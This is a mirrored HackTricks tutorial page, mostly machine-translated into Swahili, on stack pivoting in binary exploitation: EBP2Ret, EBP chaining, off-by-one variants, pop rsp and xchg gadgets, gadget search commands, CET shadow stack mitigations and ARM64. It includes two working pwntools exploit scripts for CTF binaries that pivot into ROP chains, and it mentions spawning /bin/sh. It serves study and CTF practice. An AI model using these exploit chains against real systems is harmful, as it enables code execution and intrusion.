mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
293 lines
14 KiB
Markdown
293 lines
14 KiB
Markdown
# Stack Pivoting - EBP2Ret - EBP chaining
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## Basic Information
|
|
|
|
Teknolojia hii inatumia uwezo wa kudhibiti **Base Pointer (EBP/RBP)** ili kuunganisha utekelezaji wa kazi nyingi kupitia matumizi makini ya frame pointer na mfuatano wa amri **`leave; ret`**.
|
|
|
|
Kumbuka, kwenye x86/x86-64 **`leave`** ni sawa na:
|
|
```
|
|
mov rsp, rbp ; mov esp, ebp on x86
|
|
pop rbp ; pop ebp on x86
|
|
ret
|
|
```
|
|
Na kwa kuwa **EBP/RBP iliyohifadhiwa iko kwenye stack** kabla ya EIP/RIP iliyohifadhiwa, inawezekana kuidhibiti kwa kudhibiti stack.
|
|
|
|
> Maelezo
|
|
> - Katika 64-bit, badilisha EBP→RBP na ESP→RSP. Maana ni sawa.
|
|
> - Wasanidi programu wengine huacha kiashiria cha fremu (angalia "EBP huenda isitumike"). Katika kesi hiyo, `leave` huenda isiwepo na mbinu hii haitafanya kazi.
|
|
|
|
### EBP2Ret
|
|
|
|
Mbinu hii ni muhimu hasa unapoweza **kubadilisha EBP/RBP iliyohifadhiwa lakini huna njia ya moja kwa moja ya kubadilisha EIP/RIP**. Inatumia tabia ya epilogue ya kazi.
|
|
|
|
Ikiwa, wakati wa utekelezaji wa `fvuln`, unafanikiwa kuingiza **EBP bandia** kwenye stack inayorejelea eneo katika kumbukumbu ambapo anwani ya shellcode/ROP chain yako iko (plus bytes 8 kwenye amd64 / bytes 4 kwenye x86 kuzingatia `pop`), unaweza kudhibiti RIP kwa njia isiyo ya moja kwa moja. Kadri kazi inavyorejea, `leave` inaweka RSP kwenye eneo lililotengenezwa na `pop rbp` inayofuata inapunguza RSP, **ikiifanya iweke kwenye anwani iliyohifadhiwa na mshambuliaji hapo**. Kisha `ret` itatumia anwani hiyo.
|
|
|
|
Kumbuka jinsi unavyohitaji kujua anwani 2: anwani ambapo ESP/RSP itakwenda, na thamani iliyohifadhiwa kwenye anwani hiyo ambayo `ret` itatumia.
|
|
|
|
#### Ujenzi wa Ulaghai
|
|
|
|
Kwanza unahitaji kujua **anwani ambapo unaweza kuandika data/anwani zisizo na mpangilio**. RSP itakuwa inarejelea hapa na **itakula `ret` ya kwanza**.
|
|
|
|
Kisha, unahitaji kuchagua anwani inayotumika na `ret` ambayo itafanya **hamasisho la utekelezaji**. Unaweza kutumia:
|
|
|
|
- Anwani halali ya [**ONE_GADGET**](https://github.com/david942j/one_gadget).
|
|
- Anwani ya **`system()`** ikifuatiwa na kurudi sahihi na hoja (kwenye x86: lengo la `ret` = `&system`, kisha bytes 4 za takataka, kisha `&"/bin/sh"`).
|
|
- Anwani ya **`jmp esp;`** gadget ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) ikifuatiwa na shellcode ya ndani.
|
|
- Mnyororo wa [**ROP**](../rop-return-oriented-programing/index.html) uliowekwa kwenye kumbukumbu inayoweza kuandikwa.
|
|
|
|
Kumbuka kwamba kabla ya anwani yoyote kati ya hizi katika eneo lililodhibitiwa, lazima kuwe na **nafasi kwa `pop ebp/rbp`** kutoka `leave` (8B kwenye amd64, 4B kwenye x86). Unaweza kutumia bytes hizi kuweka **EBP bandia ya pili** na kudumisha udhibiti baada ya wito wa kwanza kurudi.
|
|
|
|
#### Ulaghai wa Off-By-One
|
|
|
|
Kuna toleo linalotumika unapoweza **kubadilisha tu byte ya chini zaidi ya EBP/RBP iliyohifadhiwa**. Katika kesi hiyo, eneo la kumbukumbu linalohifadhi anwani ya kuruka na **`ret`** lazima liwe na bytes tatu/tano za kwanza zinazoshiriki na EBP/RBP ya awali ili kuweza kuhamasisha uandishi wa byte 1. Kawaida byte ya chini (offset 0x00) huongezwa ili kuruka kadri inavyowezekana ndani ya ukurasa wa karibu/eneo lililopangwa.
|
|
|
|
Pia ni kawaida kutumia RET sled kwenye stack na kuweka mnyororo halisi wa ROP mwishoni ili kuongeza uwezekano kwamba RSP mpya inaelekea ndani ya sled na mnyororo wa mwisho wa ROP unatekelezwa.
|
|
|
|
### EBP Chaining
|
|
|
|
Kwa kuweka anwani iliyodhibitiwa kwenye slot ya `EBP` iliyohifadhiwa ya stack na gadget ya `leave; ret` katika `EIP/RIP`, inawezekana **kuhamasisha `ESP/RSP` kwenda kwenye anwani inayodhibitiwa na mshambuliaji**.
|
|
|
|
Sasa `RSP` inadhibitiwa na amri inayofuata ni `ret`. Weka kwenye kumbukumbu iliyodhibitiwa kitu kama:
|
|
|
|
- `&(next fake EBP)` -> Imewekwa na `pop ebp/rbp` kutoka `leave`.
|
|
- `&system()` -> Inaitwa na `ret`.
|
|
- `&(leave;ret)` -> Baada ya `system` kumalizika, inahamisha RSP kwenda EBP bandia inayofuata na inaendelea.
|
|
- `&("/bin/sh")` -> Hoja kwa `system`.
|
|
|
|
Kwa njia hii inawezekana kuunganisha EBPs bandia kadhaa ili kudhibiti mtiririko wa programu.
|
|
|
|
Hii ni kama [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), lakini ngumu zaidi na inafaida tu katika hali za ukingo.
|
|
|
|
Zaidi ya hayo, hapa una [**mfano wa changamoto**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) inayotumia mbinu hii na **stack leak** ili kuita kazi ya kushinda. Hii ni payload ya mwisho kutoka kwenye ukurasa:
|
|
```python
|
|
from pwn import *
|
|
|
|
elf = context.binary = ELF('./vuln')
|
|
p = process()
|
|
|
|
p.recvuntil('to: ')
|
|
buffer = int(p.recvline(), 16)
|
|
log.success(f'Buffer: {hex(buffer)}')
|
|
|
|
LEAVE_RET = 0x40117c
|
|
POP_RDI = 0x40122b
|
|
POP_RSI_R15 = 0x401229
|
|
|
|
payload = flat(
|
|
0x0, # rbp (could be the address of another fake RBP)
|
|
POP_RDI,
|
|
0xdeadbeef,
|
|
POP_RSI_R15,
|
|
0xdeadc0de,
|
|
0x0,
|
|
elf.sym['winner']
|
|
)
|
|
|
|
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
|
|
|
|
payload += flat(
|
|
buffer, # Load leaked address in RBP
|
|
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
|
|
)
|
|
|
|
pause()
|
|
p.sendline(payload)
|
|
print(p.recvline())
|
|
```
|
|
> nasibu ya amd64: System V ABI inahitaji usawa wa byte 16 kwenye maeneo ya wito. Ikiwa mnyororo wako unaita kazi kama `system`, ongeza gadget ya usawa (mfano, `ret`, au `sub rsp, 8 ; ret`) kabla ya wito ili kudumisha usawa na kuepuka ajali za `movaps`.
|
|
|
|
## EBP huenda isitumike
|
|
|
|
Kama [**ilivyoelezwa katika chapisho hili**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), ikiwa binary imeandikwa kwa baadhi ya uboreshaji au kwa kutokuwepo kwa frame-pointer, **EBP/RBP kamwe haiwezi kudhibiti ESP/RSP**. Hivyo, exploit yoyote inayofanya kazi kwa kudhibiti EBP/RBP itashindwa kwa sababu prologue/epilogue hairejeshi kutoka kwa frame pointer.
|
|
|
|
- Haijaboreshwa / frame pointer inatumika:
|
|
```bash
|
|
push %ebp # save ebp
|
|
mov %esp,%ebp # set new ebp
|
|
sub $0x100,%esp # increase stack size
|
|
.
|
|
.
|
|
.
|
|
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
|
|
ret # return
|
|
```
|
|
- Imeboreshwa / kiashiria cha fremu hakijajumuishwa:
|
|
```bash
|
|
push %ebx # save callee-saved register
|
|
sub $0x100,%esp # increase stack size
|
|
.
|
|
.
|
|
.
|
|
add $0x10c,%esp # reduce stack size
|
|
pop %ebx # restore
|
|
ret # return
|
|
```
|
|
On amd64 utaona mara nyingi `pop rbp ; ret` badala ya `leave ; ret`, lakini ikiwa kipimo cha fremu hakijatumika kabisa basi hakuna epilogue ya `rbp` ya kupita kupitia.
|
|
|
|
## Njia nyingine za kudhibiti RSP
|
|
|
|
### `pop rsp` gadget
|
|
|
|
[**Katika ukurasa huu**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) unaweza kupata mfano wa kutumia mbinu hii. Kwa changamoto hiyo ilihitajika kuita kazi yenye hoja 2 maalum, na kulikuwa na **`pop rsp` gadget** na kuna **leak kutoka kwenye stack**:
|
|
```python
|
|
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
|
|
# This version has added comments
|
|
|
|
from pwn import *
|
|
|
|
elf = context.binary = ELF('./vuln')
|
|
p = process()
|
|
|
|
p.recvuntil('to: ')
|
|
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
|
|
log.success(f'Buffer: {hex(buffer)}')
|
|
|
|
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
|
|
POP_RDI = 0x40122b
|
|
POP_RSI_R15 = 0x401229 # pop RSI and R15
|
|
|
|
# The payload starts
|
|
payload = flat(
|
|
0, # r13
|
|
0, # r14
|
|
0, # r15
|
|
POP_RDI,
|
|
0xdeadbeef,
|
|
POP_RSI_R15,
|
|
0xdeadc0de,
|
|
0x0, # r15
|
|
elf.sym['winner']
|
|
)
|
|
|
|
payload = payload.ljust(104, b'A') # pad to 104
|
|
|
|
# Start popping RSP, this moves the stack to the leaked address and
|
|
# continues the ROP chain in the prepared payload
|
|
payload += flat(
|
|
POP_CHAIN,
|
|
buffer # rsp
|
|
)
|
|
|
|
pause()
|
|
p.sendline(payload)
|
|
print(p.recvline())
|
|
```
|
|
### xchg <reg>, rsp gadget
|
|
```
|
|
pop <reg> <=== return pointer
|
|
<reg value>
|
|
xchg <reg>, rsp
|
|
```
|
|
### jmp esp
|
|
|
|
Angalia mbinu ya ret2esp hapa:
|
|
|
|
|
|
{{#ref}}
|
|
../rop-return-oriented-programing/ret2esp-ret2reg.md
|
|
{{#endref}}
|
|
|
|
### Kupata vifaa vya pivot haraka
|
|
|
|
Tumia kipata vifaa chako unachokipenda kutafuta primitives za pivot za jadi:
|
|
|
|
- `leave ; ret` kwenye kazi au katika maktaba
|
|
- `pop rsp` / `xchg rax, rsp ; ret`
|
|
- `add rsp, <imm> ; ret` (au `add esp, <imm> ; ret` kwenye x86)
|
|
|
|
Mifano:
|
|
```bash
|
|
# Ropper
|
|
ropper --file ./vuln --search "leave; ret"
|
|
ropper --file ./vuln --search "pop rsp"
|
|
ropper --file ./vuln --search "xchg rax, rsp ; ret"
|
|
|
|
# ROPgadget
|
|
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
|
|
```
|
|
### Classic pivot staging pattern
|
|
|
|
Mkakati thabiti wa pivot unaotumika katika CTFs/exploits nyingi:
|
|
|
|
1) Tumia overflow ndogo ya awali kuita `read`/`recv` kwenye eneo kubwa linaloweza kuandikwa (mfano, `.bss`, heap, au kumbukumbu ya RW iliyopangwa) na weka mnyororo kamili wa ROP hapo.
|
|
2) Rudisha kwenye kifaa cha pivot (`leave ; ret`, `pop rsp`, `xchg rax, rsp ; ret`) ili kuhamasisha RSP kwenda kwenye eneo hilo.
|
|
3) Endelea na mnyororo wa hatua (mfano, leak libc, ita `mprotect`, kisha `read` shellcode, kisha ruka kwake).
|
|
|
|
## Modern mitigations that break stack pivoting (CET/Shadow Stack)
|
|
|
|
CPUs na OS za kisasa za x86 zinaendelea kutumia **CET Shadow Stack (SHSTK)**. Ikiwa SHSTK imewezeshwa, `ret` inalinganisha anwani ya kurudi kwenye stack ya kawaida na stack ya kivuli iliyolindwa na vifaa; tofauti yoyote inasababisha kosa la Control-Protection na kuua mchakato. Hivyo, mbinu kama EBP2Ret/leave;ret-based pivots zitakufa mara tu `ret` ya kwanza itakapotekelezwa kutoka kwenye stack iliyopivoted.
|
|
|
|
- Kwa maelezo ya nyuma na maelezo ya kina angalia:
|
|
|
|
|
|
{{#ref}}
|
|
../common-binary-protections-and-bypasses/cet-and-shadow-stack.md
|
|
{{#endref}}
|
|
|
|
- Ukaguzi wa haraka kwenye Linux:
|
|
```bash
|
|
# 1) Is the binary/toolchain CET-marked?
|
|
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
|
|
|
|
# 2) Is the CPU/kernel capable?
|
|
grep -E 'user_shstk|ibt' /proc/cpuinfo
|
|
|
|
# 3) Is SHSTK active for this process?
|
|
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
|
|
|
|
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
|
|
(gdb) checksec
|
|
```
|
|
- Maelezo kwa maabara/CTF:
|
|
- Baadhi ya distros za kisasa zinawezesha SHSTK kwa binaries zenye CET wakati msaada wa vifaa na glibc upo. Kwa majaribio yaliyodhibitiwa katika VMs, SHSTK inaweza kuzuiliwa kwa mfumo mzima kupitia parameter ya boot ya kernel `nousershstk`, au kuwezeshwa kwa kuchagua kupitia glibc tunables wakati wa kuanzisha (angalia marejeleo). Usizuilie mipango kwenye malengo ya uzalishaji.
|
|
- Mbinu za JOP/COOP au SROP zinaweza bado kuwa na ufanisi kwenye baadhi ya malengo, lakini SHSTK hasa inavunja pivots za `ret`.
|
|
|
|
- Kumbuka kuhusu Windows: Windows 10+ inaonyesha user-mode na Windows 11 inaongeza kernel-mode "Ulinzi wa Stack unaotolewa na Vifaa" uliojengwa kwenye shadow stacks. Mchakato unaofaa CET unazuia stack pivoting/ROP kwenye `ret`; waendelezaji wanajiandikisha kupitia CETCOMPAT na sera zinazohusiana (angalia rejeleo).
|
|
|
|
## ARM64
|
|
|
|
Katika ARM64, **prologue na epilogues** za kazi **hazihifadhi na kurejesha register ya SP** kwenye stack. Zaidi ya hayo, **`RET`** hairejeshi kwenye anwani inayotolewa na SP, bali **kwenye anwani ndani ya `x30`**.
|
|
|
|
Hivyo, kwa kawaida, kwa kutumia tu epilogue hu **wezi kudhibiti register ya SP** kwa kuandika data fulani ndani ya stack. Na hata kama unafanikiwa kudhibiti SP bado unahitaji njia ya **kudhibiti register ya `x30`**.
|
|
|
|
- prologue
|
|
|
|
```armasm
|
|
sub sp, sp, 16
|
|
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
|
|
mov x29, sp // FP inashikilia rekodi ya frame
|
|
```
|
|
|
|
- epilogue
|
|
|
|
```armasm
|
|
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
|
|
add sp, sp, 16
|
|
ret
|
|
```
|
|
|
|
> [!CAUTION]
|
|
> Njia ya kufanya kitu kinachofanana na stack pivoting katika ARM64 ingekuwa kuwa na uwezo wa **kudhibiti `SP`** (kwa kudhibiti register fulani ambayo thamani yake inapitishwa kwa `SP` au kwa sababu fulani `SP` inachukua anwani yake kutoka kwenye stack na tuna overflow) na kisha **kuabudu epilogue** ili kupakia register ya **`x30`** kutoka **`SP`** iliyo **dhibitiwa** na **`RET`** kwake.
|
|
|
|
Pia katika ukurasa ufuatao unaweza kuona sawa na **Ret2esp katika ARM64**:
|
|
|
|
|
|
{{#ref}}
|
|
../rop-return-oriented-programing/ret2esp-ret2reg.md
|
|
{{#endref}}
|
|
|
|
## Marejeleo
|
|
|
|
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
|
|
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
|
|
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
|
|
- 64 bits, off by one exploitation with a rop chain starting with a ret sled
|
|
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
|
|
- 64 bit, no relro, canary, nx and pie. The program grants a leak for stack or pie and a WWW of a qword. First get the stack leak and use the WWW to go back and get the pie leak. Then use the WWW to create an eternal loop abusing `.fini_array` entries + calling `__libc_csu_fini` ([more info here](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusing this "eternal" write, it's written a ROP chain in the .bss and end up calling it pivoting with RBP.
|
|
- Linux kernel documentation: Control-flow Enforcement Technology (CET) Shadow Stack — details on SHSTK, `nousershstk`, `/proc/$PID/status` flags, and enabling via `arch_prctl`. https://www.kernel.org/doc/html/next/x86/shstk.html
|
|
- Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET shadow stacks on Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|